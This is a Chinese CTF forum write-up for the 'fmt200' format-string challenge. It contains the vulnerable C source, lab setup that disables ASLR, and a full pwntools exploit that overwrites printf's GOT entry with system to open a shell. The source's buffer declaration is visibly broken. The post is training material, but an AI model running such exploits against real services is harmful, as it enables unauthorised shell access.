admin 发表于 2021-2-25 16:19:38

xuenixiang_2021_pwn_fmt200

# 解题文档

## 程序环境

```
ubuntu 18.04

```

## 考点

```
格式化字符串
```

## write_up

1. 源代码.

```C++
#include<stdio.h>

void main()
{
    char s;
    for(;;)
    {
      memset(s,'\0',1024);
      read(0,s,1024);
      printf(s);
      fflush(stdout);
      //在使用多个输出函数连续进行多次输出时,有可能发现输出错误。因为下一个数据再上一个数据还没输出完毕,还在输出缓冲区中时,下一个printf就把另一个数据加入输出缓冲区,结果冲掉了原来的数据,出现输出错误。 在 prinf();后加上fflush(stdout); 强制马上输出,避免错误。
    }
   
}
```

2. 编译参数.
```
关闭ASLR,关闭PIE
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -no-pie fmt200.c -o fmt200
```


3. 解题脚本参考:

```python
from pwn import*
e=ELF('./fmt200')
p=remote('192.168.106.128', 10001)
libc=ELF('/lib/i386-linux-gnu/libc.so.6')

def exec_fmt(payload):
    p.sendline(payload)
    info=p.recv()
    return info

auto=FmtStr(exec_fmt)
offset=auto.offset

printf_got=e.got['printf']

payload =p32(printf_got)+'%{}$s'.format(offset).encode()

p.send(payload)
printf_addr=u32(p.recv())
system_addr=printf_addr-libc.symbols['printf']+libc.symbols['system']
log.info("system_addr=>%s"%hex(system_addr))
payload=fmtstr_payload(offset,{printf_got:system_addr})
p.send(payload)
p.send('/bin/sh')
p.recv()
p.interactive()
```

君丿记忆 发表于 2021-6-17 18:56:46

远程服务器有问题啊,本地getshell,远程打不通,用writeup的脚本也打不通
页: [1]
查看完整版本: xuenixiang_2021_pwn_fmt200